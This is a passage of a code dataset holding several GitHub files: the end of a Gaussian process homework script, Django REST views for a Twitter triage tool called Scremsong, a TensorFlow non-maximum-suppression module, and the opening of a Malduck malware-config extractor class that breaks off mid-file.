np.array([[float(data.split(' ')[0]), float(data.split(' ')[1])] for data in lines])\n\n # config arguments\n x_samples = np.linspace(-60, 60, 1000)\n X = data_list[:, 0].reshape((data_list.shape[0], 1))\n Y = data_list[:, 1].reshape((data_list.shape[0], 1))\n beta = 5\n\n option = int(input('please input task id (1 or 2):'))\n\n if option == 1:\n # code for task 1.1\n task1(x_samples, X, Y, beta)\n\n elif option == 2:\n # code for task 1.2\n task2(x_samples, X, Y, beta)\n\n\nif __name__==\"__main__\":\n main()","repo_name":"Chialiang86/ml-hw","sub_path":"HW5/gaussian_process.py","file_name":"gaussian_process.py","file_ext":"py","file_size_in_byte":5053,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"9233600582","text":"import glob\nimport os\nfrom copy import deepcopy\nfrom time import sleep\n\nimport tweepy\nfrom django.contrib.auth import logout\nfrom django.contrib.auth.models import User\nfrom django.db import transaction\nfrom django.http import HttpResponseNotFound\nfrom django.http.response import HttpResponse, HttpResponseRedirect\nfrom rest_framework import status, viewsets\nfrom rest_framework.decorators import action\nfrom rest_framework.permissions import AllowAny, IsAdminUser, IsAuthenticated\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\nfrom scremsong.app import websockets\nfrom scremsong.app.enums import (NotificationVariants, ProfileOfflineReason,\n SocialAssignmentCloseReason,\n SocialAssignmentState, SocialPlatformChoice,\n TweetState, TweetStatus)\nfrom scremsong.app.exceptions import ScremsongException\nfrom scremsong.app.models import (Profile, SocialAssignments, SocialColumns,\n SocialPlatforms, Tweets)\nfrom scremsong.app.reviewers import getCreationDateOfNewestTweetInAssignment\nfrom scremsong.app.serializers import (\n SocialAssignmentSerializer,\n SocialColumnsSerializerWithTweetCountSerializer, UserSerializer)\nfrom scremsong.app.social.assignments import \\\n get_social_assignment_stats_for_user\nfrom scremsong.app.social.columns import (get_social_columns,\n get_stats_for_column)\nfrom scremsong.app.twitter import (favourite_tweet, fetch_tweets,\n get_latest_tweet_id_for_streaming,\n get_status_from_db, get_tweepy_api_auth,\n get_twitter_app, notify_of_saved_tweet,\n reply_to_tweet, resolve_tweet_parents,\n resolve_tweet_thread_for_parent,\n retweet_tweet,\n set_tweet_object_state_en_masse,\n twitter_user_api_auth_stage_1,\n twitter_user_api_auth_stage_2,\n unfavourite_tweet, unretweet_tweet)\nfrom scremsong.celery import (app, celery_kill_and_restart_streaming_tasks,\n celery_restart_streaming,\n task_fill_missing_tweets)\nfrom scremsong.util import get_or_none, make_logger\nfrom tweepy import TweepError\n\nlogger = make_logger(__name__)\n\n\ndef api_not_found(request):\n return HttpResponseNotFound()\n\n\nclass CurrentUserView(APIView):\n permission_classes = (AllowAny,)\n\n def get(self, request):\n if request.user.is_authenticated:\n serializer = UserSerializer(\n request.user, context={'request': request}\n )\n\n return Response({\n \"is_logged_in\": True,\n \"user\": serializer.data\n })\n else:\n return Response({\n \"is_logged_in\": False,\n \"user\": None\n })\n\n\nclass LogoutUserView(APIView):\n permission_classes = (IsAuthenticated,)\n\n def get(self, request):\n logout(request)\n return Response({})\n\n\nclass UserViewSet(viewsets.ModelViewSet):\n \"\"\"\n API endpoint that allows users to be viewed or edited.\n \"\"\"\n permission_classes = (IsAdminUser,)\n queryset = User.objects.all().order_by('-date_joined')\n serializer_class = UserSerializer\n\n\nclass ProfileViewSet(viewsets.ViewSet):\n \"\"\"\n API endpoint that allows user profiles to be viewed and edited.\n \"\"\"\n permission_classes = (IsAuthenticated,)\n\n @action(detail=False, methods=['post'])\n def update_settings(self, request):\n with transaction.atomic():\n user = User.objects.select_for_update().get(id=request.user.id)\n user.profile.merge_settings(request.data)\n user.profile.save()\n return Response({\"settings\": user.profile.settings})\n\n @action(detail=False, methods=['get'])\n def get_column_position(self, request, format=None):\n qp = request.query_params\n columnId = str(qp[\"id\"]) if \"id\" in qp else None\n\n if \"column_positions\" in request.user.profile.settings and columnId in request.user.profile.settings[\"column_positions\"]:\n return Response({\"position\": request.user.profile.settings[\"column_positions\"][columnId]})\n else:\n return Response({\"position\": None})\n\n\nclass TweetsViewset(viewsets.ViewSet):\n \"\"\"\n API endpoint that deals with tweets.\n \"\"\"\n permission_classes = (IsAuthenticated,)\n\n @action(detail=False, methods=['get'])\n def fetch(self, request, format=None):\n qp = request.query_params\n\n sinceId = qp[\"sinceId\"] if \"sinceId\" in qp else None\n sinceId = qp[\"sinceId\"] if \"sinceId\" in qp else None\n maxId = qp[\"maxId\"] if \"maxId\" in qp else None\n startIndex = qp[\"startIndex\"] if \"startIndex\" in qp else None\n stopIndex = qp[\"stopIndex\"] if \"stopIndex\" in qp else None\n # Allow for limiting our response to specific columns\n columnIds = qp[\"columns\"].split(\",\") if \"columns\" in qp and qp[\"columns\"] != \"\" else []\n\n if sinceId is None and (startIndex is None or stopIndex is None):\n return Response({\"error\": \"Missing 'startIndex' or 'stopIndex'.\"}, status=status.HTTP_400_BAD_REQUEST)\n\n return Response(fetch_tweets(startIndex, stopIndex, sinceId, maxId, columnIds))\n\n @action(detail=False, methods=['get'])\n def set_state(self, request, format=None):\n qp = request.query_params\n tweetId = qp[\"tweetId\"] if \"tweetId\" in qp else None\n tweetState = qp[\"tweetState\"] if \"tweetState\" in qp else None\n\n if TweetState.has_value(tweetState):\n tweet = Tweets.objects.get(tweet_id=tweetId)\n tweet.state = tweetState\n tweet.save()\n\n websockets.send_channel_message(\"tweets.set_state\", {\n \"tweetStates\": [{\n \"tweetId\": tweetId,\n \"tweetState\": tweetState,\n }]\n })\n\n return Response({})\n\n @action(detail=False, methods=['get'])\n def favourite(self, request, format=None):\n qp = request.query_params\n tweetId = qp[\"tweetId\"] if \"tweetId\" in qp else None\n\n favourite_tweet(tweetId)\n\n return Response({})\n\n @action(detail=False, methods=['get'])\n def unfavourite(self, request, format=None):\n qp = request.query_params\n tweetId = qp[\"tweetId\"] if \"tweetId\" in qp else None\n\n unfavourite_tweet(tweetId)\n\n return Response({})\n\n @action(detail=False, methods=['get'])\n def retweet(self, request, format=None):\n qp = request.query_params\n tweetId = qp[\"tweetId\"] if \"tweetId\" in qp else None\n\n retweet_tweet(tweetId)\n\n return Response({})\n\n @action(detail=False, methods=['get'])\n def unretweet(self, request, format=None):\n qp = request.query_params\n tweetId = qp[\"tweetId\"] if \"tweetId\" in qp else None\n\n unretweet_tweet(tweetId)\n\n return Response({})\n\n @action(detail=False, methods=['get'])\n def reply(self, request, format=None):\n qp = request.query_params\n inReplyToTweetId = qp[\"inReplyToTweetId\"] if \"inReplyToTweetId\" in qp else None\n replyText = qp[\"replyText\"] if \"replyText\" in qp else None\n\n try:\n reply_to_tweet(inReplyToTweetId, replyText)\n return Response({})\n\n except tweepy.RateLimitError:\n return Response({\"error\": \"Error sending reply. It looks like we've been rate limited for replying to / favouriting tweets. Try again in a little while.\"}, status=status.HTTP_403_FORBIDDEN)\n\n except tweepy.TweepError as e:\n if e.api_code == 403:\n return Response({\"error\": \"Error sending reply. It looks like that exactly reply recently got sent. Change the reply text and try again.\"}, status=status.HTTP_403_FORBIDDEN)\n else:\n # Uh oh, some other error code was returned\n # NB: tweepy.api can return certain errors via retry_errors\n return Response({\"error\": \"Error {} while sending reply.\".format(e.api_code)}, status=status.HTTP_400_BAD_REQUEST)\n\n except Exception as e:\n return Response({\"error\": \"Unknown error while sending reply: {}\".format(str(e))}, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass SocialColumnsViewset(viewsets.ViewSet):\n \"\"\"\n API endpoints for handling columns on the triage screen (e.g. assigning columns)\n \"\"\"\n permission_classes = (IsAuthenticated,)\n\n @action(detail=False, methods=['get'])\n def assign_triager(self, request, format=None):\n qp = request.query_params\n columnId = qp[\"columnId\"] if \"columnId\" in qp else None\n userId = qp[\"userId\"] if \"userId\" in qp else None\n\n column = SocialColumns.objects.get(id=columnId)\n\n if column.assigned_to_id is not None and column.assigned_to_id != userId:\n websockets.send_user_channel_message(\"notifications.send\", {\n \"message\": \"You have been unassigned from triaging the column \\\"{}\\\"\".format(\" \".join(column.search_phrases)),\n \"options\": {\n \"variant\": NotificationVariants.INFO\n }\n }, column.assigned_to.username)\n\n column.assigned_to_id = userId\n column.save()\n\n if userId is not None:\n column = SocialColumns.objects.get(id=columnId)\n websockets.send_user_channel_message(\"notifications.send\", {\n \"message\": \"You have been assigned to triage the column \\\"{}\\\"\".format(\" \".join(column.search_phrases)),\n \"options\": {\n \"variant\": NotificationVariants.INFO\n }\n }, column.assigned_to.username)\n\n websockets.send_channel_message(\"columns.update\", {\n \"columns\": [SocialColumnsSerializerWithTweetCountSerializer(column).data],\n })\n\n return Response({\"OK\": True})\n\n @action(detail=False, methods=['get'])\n def unassign_triager(self, request, format=None):\n qp = request.query_params\n columnId = qp[\"columnId\"] if \"columnId\" in qp else None\n\n column = SocialColumns.objects.get(id=columnId)\n\n if column.assigned_to_id is not None:\n websockets.send_user_channel_message(\"notifications.send\", {\n \"message\": \"You have been unassigned from triaging the column \\\"{}\\\"\".format(\" \".join(column.search_phrases)),\n \"options\": {\n \"variant\": NotificationVariants.INFO\n }\n }, column.assigned_to.username)\n\n column.assigned_to_id = None\n column.save()\n\n websockets.send_channel_message(\"columns.update\", {\n \"columns\": [SocialColumnsSerializerWithTweetCountSerializer(column).data],\n })\n\n return Response({\"OK\": True})\n\n\nclass SocialAssignmentsViewset(viewsets.ViewSet):\n \"\"\"\n API endpoints for handling assigning things (like tweets) to reviewers.\n \"\"\"\n permission_classes = (IsAuthenticated,)\n\n @action(detail=False, methods=['get'])\n def assign_reviewer(self, request, format=None):\n qp = request.query_params\n tweetId = qp[\"tweetId\"] if \"tweetId\" in qp else None\n reviewerId = qp[\"reviewerId\"] if \"reviewerId\" in qp else None\n\n try:\n status = get_status_from_db(tweetId)\n if status is None:\n raise ScremsongException(\"Could not find tweet {} in local db\".format(tweetId))\n\n parents, parent = resolve_tweet_parents(status)\n parent, tweets, relationships = resolve_tweet_thread_for_parent(parent)\n replyTweetIds = [tweetId for tweetId in list(tweets.keys()) if tweetId != parent[\"data\"][\"id_str\"]]\n\n assignment, created = SocialAssignments.objects.update_or_create(\n platform=SocialPlatformChoice.TWITTER, social_id=parent[\"data\"][\"id_str\"], defaults={\"user_id\": reviewerId, \"assigned_by\": request.user, \"thread_relationships\": relationships, \"thread_tweets\": replyTweetIds}\n )\n\n websockets.send_channel_message(\"reviewers.assign\", {\n \"assignment\": SocialAssignmentSerializer(assignment).data,\n \"tweets\": set_tweet_object_state_en_masse(tweets, TweetState.ASSIGNED),\n })\n\n return Response({\"OK\": True})\n\n except ScremsongException as e:\n return Response({\"error\": \"Could not assign tweet {}. Failed to resolve and update tweet thread. Message: {}\".format(tweetId, str(e))}, status=status.HTTP_400_BAD_REQUEST)\n\n @action(detail=False, methods=['get'])\n def reassign_reviewer(self, request, format=None):\n qp = request.query_params\n assignmentId = int(qp[\"assignmentId\"]) if \"assignmentId\" in qp else None\n newReviewerId = int(qp[\"newReviewerId\"]) if \"newReviewerId\" in qp else None\n\n if assignmentId is not None and newReviewerId is not None:\n try:\n assignment = get_or_none(SocialAssignments, id=assignmentId)\n assignment.user_id = newReviewerId\n assignment.assigned_by = request.user\n assignment.save()\n\n parent = get_status_from_db(assignment.social_id)\n parent, tweets, relationships = resolve_tweet_thread_for_parent(parent)\n\n websockets.send_channel_message(\"reviewers.assign\", {\n \"assignment\": SocialAssignmentSerializer(assignment).data,\n \"tweets\": set_tweet_object_state_en_masse(tweets, TweetState.ASSIGNED),\n })\n\n return Response({\"OK\": True})\n\n except ScremsongException as e:\n return Response({\"error\": \"Could not reassign assignment {}. Failed to resolve and update tweet thread. Message: {}\".format(assignmentId, str(e))}, status=status.HTTP_400_BAD_REQUEST)\n\n @action(detail=False, methods=['get'])\n def bulk_reassign_reviewer(self, request, format=None):\n qp = request.query_params\n currentReviewerId = int(qp[\"currentReviewerId\"]) if \"currentReviewerId\" in qp else None\n newReviewerId = int(qp[\"newReviewerId\"]) if \"newReviewerId\" in qp else None\n\n if currentReviewerId is not None and newReviewerId is not None:\n try:\n assignmentsUpdated = []\n tweetsUpdated = {}\n\n assignments = SocialAssignments.objects.filter(user_id=currentReviewerId).filter(state=SocialAssignmentState.PENDING)\n with transaction.atomic():\n for assignment in assignments:\n assignment.user_id = newReviewerId\n assignment.assigned_by = request.user\n assignment.save()\n\n assignmentsUpdated.append(SocialAssignmentSerializer(assignment).data)\n parent = get_status_from_db(assignment.social_id)\n parent, tweets, relationships = resolve_tweet_thread_for_parent(parent)\n tweetsUpdated = {**tweetsUpdated, **set_tweet_object_state_en_masse(tweets, TweetState.ASSIGNED)}\n\n websockets.send_channel_message(\"reviewers.bulk_assign\", {\n \"assignments\": assignmentsUpdated,\n \"tweets\": tweetsUpdated,\n })\n\n return Response({\"OK\": True})\n\n except ScremsongException as e:\n return Response({\"error\": \"Could not bulk reassign assignments for {} to {}. Failed to resolve and update tweet thread. Message: {}\".format(currentReviewerId, newReviewerId, str(e))}, status=status.HTTP_400_BAD_REQUEST)\n\n @action(detail=False, methods=['get'])\n def unassign_reviewer(self, request, format=None):\n qp = request.query_params\n assignmentId = int(qp[\"assignmentId\"]) if \"assignmentId\" in qp else None\n\n assignment = SocialAssignments.objects.get(id=assignmentId)\n assignment.delete()\n\n websockets.send_channel_message(\"reviewers.unassign\", {\n \"assignmentId\": assignmentId,\n })\n\n return Response({\"OK\": True})\n\n @action(detail=False, methods=['get'])\n def close(self, request, format=None):\n qp = request.query_params\n assignmentId = int(qp[\"assignmentId\"]) if \"assignmentId\" in qp else None\n reason = str(qp[\"reason\"]) if \"reason\" in qp else None\n\n if SocialAssignmentCloseReason.has_value(reason) is True:\n assignment = SocialAssignments.objects.get(id=assignmentId)\n assignment.close_reason = reason\n assignment.state = SocialAssignmentState.CLOSED\n assignment.last_read_on = getCreationDateOfNewestTweetInAssignment(assignment)\n assignment.save()\n\n websockets.send_channel_message(\"reviewers.assignment_metdata_changed\", {\n \"assignment\": SocialAssignmentSerializer(assignment).data,\n })\n\n return Response({\"OK\": True})\n\n @action(detail=False, methods=['get'])\n def restore(self, request, format=None):\n qp = request.query_params\n assignmentId = int(qp[\"assignmentId\"]) if \"assignmentId\" in qp else None\n\n assignment = SocialAssignments.objects.get(id=assignmentId)\n assignment.close_reason = None\n assignment.state = SocialAssignmentState.PENDING\n assignment.save()\n\n websockets.send_channel_message(\"reviewers.assignment_metdata_changed\", {\n \"assignment\": SocialAssignmentSerializer(assignment).data,\n })\n\n return Response({\"OK\": True})\n\n @action(detail=False, methods=['get'])\n def mark_read(self, request, format=None):\n qp = request.query_params\n assignmentId = int(qp[\"assignmentId\"]) if \"assignmentId\" in qp else None\n\n assignment = SocialAssignments.objects.get(id=assignmentId)\n assignment.last_read_on = getCreationDateOfNewestTweetInAssignment(assignment)\n assignment.save()\n\n websockets.send_channel_message(\"reviewers.assignment_metdata_changed\", {\n \"assignment\": SocialAssignmentSerializer(assignment).data,\n })\n\n return Response({\"OK\": True})\n\n @action(detail=False, methods=['get'])\n def set_user_accepting_assignments(self, request, format=None):\n qp = request.query_params\n user_id = int(qp[\"user_id\"]) if \"user_id\" in qp else None\n is_accepting_assignments = True if \"is_accepting_assignments\" in qp and qp[\"is_accepting_assignments\"] == \"true\" else False\n\n profile = Profile.objects.get(user_id=user_id)\n profile.is_accepting_assignments = is_accepting_assignments\n if is_accepting_assignments is True:\n profile.offline_reason = None\n else:\n profile.offline_reason = ProfileOfflineReason.USER_CHOICE\n profile.save()\n\n websockets.send_channel_message(\"reviewers.set_status\", {\n \"user_id\": user_id,\n \"is_accepting_assignments\": is_accepting_assignments\n })\n\n if is_accepting_assignments is True:\n message = \"{} has come online and is ready to receive assignments!\".format(UserSerializer(profile.user).data[\"name\"])\n else:\n message = \"{} has gone offline\".format(UserSerializer(profile.user).data[\"name\"])\n\n websockets.send_channel_message(\"notifications.send\", {\n \"message\": message,\n \"options\": {\n \"variant\": NotificationVariants.INFO\n }\n })\n\n return Response({\"OK\": True})\n\n\nclass SocialPlatformsAuthViewset(viewsets.ViewSet):\n \"\"\"\n API endpoints for handling authenticating against social platforms.\n \"\"\"\n permission_classes = (IsAuthenticated,)\n\n @action(detail=False, methods=['get'])\n def set_muzzled(self, request):\n qp = request.query_params\n muzzled = True if \"muzzled\" in qp and qp[\"muzzled\"] == \"1\" else False\n\n with transaction.atomic():\n t = get_twitter_app()\n if t is None:\n raise ScremsongException(\"We haven't authenticated against Twitter yet.\")\n\n t.settings = {**t.settings, \"muzzled\": muzzled}\n t.save()\n\n # Update settings for connected clients\n websockets.send_channel_message(\"socialplatforms.settings\", {\n \"settings\": {\n str(SocialPlatformChoice.TWITTER): t.settings\n }\n })\n\n # Send a notification to all connected clients\n message = \"We've been muzzled by Twitter! Replying, favouriting, and retweeting will now open tweets in a new tab. See WhatsApp for more information. **And please reload Scremsong!**\" if muzzled is True else \"It's all good. We've been unmuzzled by Twitter. Scremsong is returning to normal operations 🎉 **And please reload Scremsong!**\"\n websockets.send_channel_message(\"notifications.send\", {\n \"message\": message,\n \"options\": {\n \"variant\": NotificationVariants.WARNING\n }\n })\n\n return Response({\"settings\": t.settings})\n\n @action(detail=False, methods=['get'])\n def twitter_auth_step1(self, request, format=None):\n # 1. Login to https://developer.twitter.com/en/apps as @DemSausage\n # 2. Register an app and set these callback URLs:\n # - https://scremsong.test.democracysausage.org/api/0.1/social_auth/twitter_auth_step2/\n # - https://scremsong.democracysausage.org/api/0.1/social_auth/twitter_auth_step2/\n # 3. In a new tab, go to Twitter and login as @DemSausage\n # 4. Go to https://scremsong.[test.]democracysausage.org and login\n # 5. Navigate to https://scremsong.[test.]democracysausage.org/api/0.1/social_auth/twitter_auth_step1/?format=json\n # 6. It will send you to Twitter and prompt you to Authorize Scremsong to use your account. (Important: Make sure you're logged in as @DemSausage before continuing!)\n # 7. You'll be returned to a page called \"Social Platforms Auth Viewset\" that says '\"OK\": true'\n try:\n redirect_url = twitter_user_api_auth_stage_1()\n return HttpResponseRedirect(redirect_to=redirect_url)\n except TweepError:\n return Response({\"error\": \"Error! Failed to get request token.\"}, status=status.HTTP_400_BAD_REQUEST)\n\n @action(detail=False, methods=['get'])\n def twitter_auth_step2(self, request, format=None):\n try:\n if twitter_user_api_auth_stage_2(request.query_params) is True:\n return Response({\"OK\": True})\n except TweepError:\n return Response({\"error\": \"Error! Failed to get access token. TweepyError.\"}, status=status.HTTP_400_BAD_REQUEST)\n except Exception as e:\n return Response({\"error\": \"Error! Failed to get access token. {}\".format(str(e))}, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass DashboardViewset(viewsets.ViewSet):\n \"\"\"\n API endpoints to power the dashboard view.\n \"\"\"\n permission_classes = (IsAuthenticated,)\n\n @action(detail=False, methods=['get'])\n def get_stats(self, request, format=None):\n stats = {\n \"assignments\": {\n # \"all_time\": {},\n \"past_week\": {},\n },\n \"triage\": {\n # \"all_time\": {},\n \"past_week\": {},\n }\n }\n\n for user in User.objects.all():\n # stats[\"assignments\"][\"all_time\"][user.id] = get_social_assignment_stats_for_user(user)\n stats[\"assignments\"][\"past_week\"][user.id] = get_social_assignment_stats_for_user(user, sincePastNDays=7)\n\n for social_column in get_social_columns(SocialPlatformChoice.TWITTER).order_by(\"priority\").all():\n # stats[\"triage\"][\"all_time\"][social_column.id] = get_stats_for_column(social_column)\n stats[\"triage\"][\"past_week\"][social_column.id] = get_stats_for_column(social_column, sincePastNDays=7)\n\n return Response(stats)\n\n\nclass CeleryAdminViewset(viewsets.ViewSet):\n \"\"\"\n API endpoint that lets us manage our celery instance.\n \"\"\"\n permission_classes = (IsAuthenticated,)\n\n @action(detail=False, methods=['get'])\n def tasks(self, request, format=None):\n i = app.control.inspect()\n return Response({\n # These are all the tasks that are currently being executed.\n \"running\": i.active(),\n # These are tasks reserved by the worker when they have an eta or countdown argument set.\n \"scheduled\": i.scheduled(),\n # This will list all tasks that have been prefetched by the worker, and is currently waiting to be executed (doesn’t include tasks with an ETA value set).\n \"reserved\": i.reserved()\n })\n\n @action(detail=False, methods=['get'])\n def workers(self, request, format=None):\n i = app.control.inspect()\n return Response(i.ping())\n\n @action(detail=False, methods=['get'])\n def restart_streaming(self, request, format=None):\n celery_restart_streaming()\n return Response({\"OK\": True})\n\n @action(detail=False, methods=['get'])\n def kill_and_restart_streaming_tasks(self, request, format=None):\n celery_kill_and_restart_streaming_tasks()\n return Response({\"OK\": True})\n\n @action(detail=False, methods=['get'])\n def launch_task_fill_missing_tweets(self, request, format=None):\n sinceId = get_latest_tweet_id_for_streaming()\n logger.info(\"Manually launching fill in missing tweets task for tweets since {}.\".format(sinceId))\n if sinceId is not None:\n task_fill_missing_tweets.apply_async(args=[sinceId], countdown=5)\n else:\n logger.warning(\"Got sinceId of None when trying to manually start task_fill_missing_tweets\")\n return Response({\"OK\": True})\n\n # @action(detail=False, methods=['get'])\n # def experiment(self, request, format=None):\n # from celery.result import AsyncResult\n # res = AsyncResult('0166e825-d9d9-4fb2-b2e2-957893a6b215', app=app)\n\n # i = app.control.inspect()\n # return Response({\n # \"result\": {\n # \"state\": res.state,\n # # \"get\": res.get()\n # },\n # \"query_task\": i.query_task(\"0166e825-d9d9-4fb2-b2e2-957893a6b215\"),\n # \"running\": i.stats(),\n # })\n\n\nclass LogsAdminViewset(viewsets.ViewSet):\n \"\"\"\n API endpoint that lets us do stuff with log files.\n \"\"\"\n permission_classes = (IsAuthenticated,)\n\n @action(detail=False, methods=['get'])\n def available_logs(self, request, format=None):\n filenames = []\n for filename in glob.iglob(\"/app/logs/*.log\", recursive=True):\n filenames.append(os.path.basename(filename))\n\n return Response(filenames)\n\n @action(detail=False, methods=['get'])\n def get_log(self, request, format=None):\n def tail(file_path, num_lines=20000):\n if os.path.exists(file_path) is False:\n return \"File does not exist.\"\n else:\n try:\n if os.path.getsize(file_path) == 0:\n return \"File is empty.\"\n else:\n from sh import tail\n return tail(\"-n\", int(num_lines), file_path)\n except OSError as err:\n return \"Failed getting file size: {}\".format(err)\n\n qp = request.query_params\n log_filename = str(qp[\"log_filename\"]) if \"log_filename\" in qp else None\n download = True if \"download\" in qp else False\n\n file_path = os.path.join(\"/app/logs\", os.path.basename(log_filename))\n response = HttpResponse(tail(file_path), content_type=\"text/plain\")\n\n if download is True:\n response[\"Content-Disposition\"] = \"attachment; filename=\\\"{}\\\"\".format(log_filename)\n response[\"Cache-Control\"] = \"no-cache\"\n\n return response\n\n\nclass TwitterRateLimitAdminViewset(viewsets.ViewSet):\n \"\"\"\n API endpoint that lets us see our consumption of the Twitter APIs.\n \"\"\"\n permission_classes = (IsAuthenticated,)\n\n @action(detail=False, methods=['get'])\n def rate_limit_status(self, request, format=None):\n api = get_tweepy_api_auth()\n # status = api.rate_limit_status(resources=\"tweets,statuses,search,application,favorites\")\n status = api.rate_limit_status()\n return Response({\"resources\": status[\"resources\"]}) # Don't pass the access taken back\n\n\nclass ScremsongDebugViewset(viewsets.ViewSet):\n \"\"\"\n API endpoint that lets us debug things.\n \"\"\"\n permission_classes = (IsAuthenticated,)\n\n @action(detail=False, methods=['get'])\n def test(self, request, format=None):\n # from scremsong.app.twitter import get_tweet_from_db, process_new_tweet_reply\n # tweet = get_tweet_from_db(\"1076752336591118336\")\n # process_new_tweet_reply(tweet.data, TweetSource.STREAMING, False)\n\n # from scremsong.util import get_or_none\n # assgignment = get_or_none(SocialAssignments, id=178)\n # logger.info(assgignment)\n # logger.info(assgignment.user.username)\n\n return Response({\"OK\": True})\n\n @action(detail=False, methods=['get'])\n def find_wot_was_rate_limited(self, request, format=None):\n from scremsong.app.models import TwitterRateLimitInfo\n\n rateLimited = {}\n\n for info in TwitterRateLimitInfo.objects.filter(collected_on__gte=\"2019-03-22 16:00:00+00\").filter(collected_on__lte=\"2019-03-23 16:00:00+00\").all():\n for group_name, group_info in info.data.items():\n for item_name, item_info in group_info.items():\n if item_info[\"remaining\"] < item_info[\"limit\"]:\n if group_name not in rateLimited:\n rateLimited[group_name] = []\n\n if item_name not in rateLimited[group_name]:\n rateLimited[group_name].append(item_name)\n\n print(rateLimited)\n return Response({\"OK\": True})\n\n @action(detail=False, methods=['get'])\n def send_dummy_tweets(self, request, format=None):\n qp = request.query_params\n number_of_tweets = int(qp[\"number_of_tweets\"]) if \"number_of_tweets\" in qp else None\n time_limit = int(qp[\"time_limit\"]) if \"time_limit\" in qp else None\n\n sleepTime = time_limit / number_of_tweets\n\n if sleepTime < 0.1:\n return Response({\"error\": \"Woah there sonny! {} is a bit too fast!\".format(sleepTime)})\n\n if number_of_tweets is not None and time_limit is not None:\n for i in list(range(1, number_of_tweets + 1)):\n # Create dummy tweet id\n latestTweet = deepcopy(Tweets.objects.filter(data__retweeted_status__isnull=True).filter(status=TweetStatus.OK).last())\n latestTweet.data[\"id_str\"] = \"{}-{}\".format(latestTweet.data[\"id_str\"], i)\n latestTweet.tweet_id = latestTweet.data[\"id_str\"]\n\n # Create dummy tweet mesage\n tweetText = \"@DemSausage Dummy Tweet [{}/{}]\".format(i, number_of_tweets)\n\n if \"extended_tweet\" in latestTweet.data:\n latestTweet.data[\"extended_tweet\"][\"full_text\"] = tweetText\n\n if \"text\" in latestTweet.data:\n latestTweet.data[\"text\"] = tweetText\n\n if \"full_text\" in latestTweet.data:\n latestTweet.data[\"full_text\"] = tweetText\n\n # Set the right dummy entities\n if \"entities\" in latestTweet.data:\n latestTweet.data[\"entities\"] = {\n \"urls\": [],\n \"symbols\": [],\n \"hashtags\": [],\n \"user_mentions\": [\n {\"id\": 1256120371, \"name\": \"Democracy Sausage\", \"id_str\": \"1256120371\", \"indices\": [0, 11], \"screen_name\": \"DemSausage\"}\n ]\n }\n\n # Send our web socket message\n notify_of_saved_tweet(latestTweet)\n\n if i < number_of_tweets:\n sleep(sleepTime)\n\n return Response({\"OK\": True})\n","repo_name":"keithamoss/scremsong","sub_path":"django/scremsong/app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":32546,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"} +{"seq_id":"38230813354","text":"\"\"\"Suppression layer, including score thresholding and NMS.\"\"\"\nimport tensorflow as tf\n\nMIN_SCORE = -9999.0\n\n\ndef nms_pad(\n bx: tf.Tensor,\n scores: tf.Tensor,\n n_nms: int,\n nms_th: float,\n) -> tf.Tensor:\n \"\"\"Get NMS index for a batch of images with -1 padding.\n\n CANNOT use `tf.image.non_max_suppression` as it outputs a tensor with\n dynamic shape\n\n Args:\n bx (tf.Tensor): boxes to perform NMS on. Shape [B, N, 4].\n scores (tf.Tensor): scores to perform NMS on. Shape [B, N].\n n_nms (int): number of boxes to keep after NMS.\n nms_th (float): NMS threshold.\n\n Returns:\n tf.Tensor: indices of the boxes to keep after NMS. Shape [B, n_nms]\n \"\"\"\n bx_dummy = tf.zeros_like(bx[:, 0:1, :])\n bx = tf.concat([bx_dummy, bx], axis=1)\n scores_dummy = tf.ones_like(scores[:, 0:1]) * MIN_SCORE\n scores = tf.concat([scores_dummy, scores], axis=1)\n selected_indices, _ = tf.image.non_max_suppression_padded(\n bx,\n scores,\n n_nms,\n iou_threshold=nms_th,\n pad_to_max_output_size=True,\n )\n return selected_indices - 1\n\n\ndef suppress(\n bx: tf.Tensor,\n log: tf.Tensor,\n n_score: int,\n n_nms: int,\n nms_th: float,\n) -> tf.Tensor:\n \"\"\"Suppression Block, including score thresholding and NMS.\n\n It receives the RPN logits and RoIs and produces the suppressed Region of\n Interests (RoI).\n\n Args:\n bx (tf.Tensor): RoI bounding box. Shape [B, N_val_ac, 4].\n log (tf.Tensor): RoI logits. Shape [B, N_val_ac, 1].\n n_score (int): number of top scores to keep.\n n_nms (int): number of RoIs to keep after NMS.\n nms_th (float): NMS threshold.\n\n Returns:\n tf.Tensor: proposed Region of Interests (RoIs) [B, n_nms, 4]\n \"\"\"\n # score thresholding\n scores = tf.squeeze(log, axis=-1) # (B, N_val_ac)\n idx_topk = tf.math.top_k(scores, k=n_score).indices\n score_topk = tf.gather(scores, idx_topk, batch_dims=1) # B, n_score\n roi_topk = tf.gather(bx, idx_topk, batch_dims=1) # B, n_score, 4\n # non-maximum suppression\n idx_nms = nms_pad(roi_topk, score_topk, n_nms, nms_th) # (B, n_nms)\n # fetch the RoIs; -1 will result in (0., 0., 0., 0.)\n roi_nms = tf.gather(roi_topk, idx_nms, batch_dims=1) # (B, n_nms, 4)\n # for shape inference\n return tf.reshape(roi_nms, (-1, n_nms, 4))\n","repo_name":"ppmzhang2/tf-rcnn","sub_path":"src/rcnn/model/_suppress.py","file_name":"_suppress.py","file_ext":"py","file_size_in_byte":2370,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"26823849362","text":"import base64\nimport zlib\nfrom logging import getLogger\nfrom queue import Empty\nfrom typing import Any, Dict, Iterable, Optional\n\nfrom malduck.extractor import ExtractManager, ExtractorModules\nfrom malduck.procmem import ProcessMemory\nfrom scalpl import Cut\n\nfrom elastic.malware_config_extractor.process import POISON_PILL, FilterProcess\n\nlogger = getLogger(__name__)\n\n\nclass MalduckTransform(FilterProcess):\n def __init__(self, config: Cut, *args, **kwargs) -> None:\n super().__init__(*args, **kwargs)\n\n self.config: Cut = config\n self.modules = None\n self.samples = None\n self.extractor_modules: Optional[ExtractorModules] = None\n self.extract_manager: Optional[ExtractManager] = None\n\n def _setup_modules(self):\n # Set up the module paths.\n if self.config[\"modules\"]:\n logger.info(\"Getting os path of malduck modules...\")\n self.modules = (\n self.config[\"modules\"]\n if self.config[\"modules\"]\n else logger.error(\"Please specify Malduck module path.\")\n )\n\n self.extractor_modules = ExtractorModules(modules_path=self.modules)\n\n def 